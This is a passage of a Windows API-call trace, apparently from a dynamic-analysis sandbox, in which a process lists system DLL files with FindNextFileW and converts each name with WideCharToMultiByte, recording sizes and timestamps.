nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0261.047] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.047] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.047] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x1efc288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0261.047] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.048] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x1efc288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0261.048] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x1efc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0261.048] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.048] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x1efc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0261.048] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.048] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.048] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.048] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0261.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.049] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.049] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x1efc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0261.049] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x1efc288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0261.049] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0261.049] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.049] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.049] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.049] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0261.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.050] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.050] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.050] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, 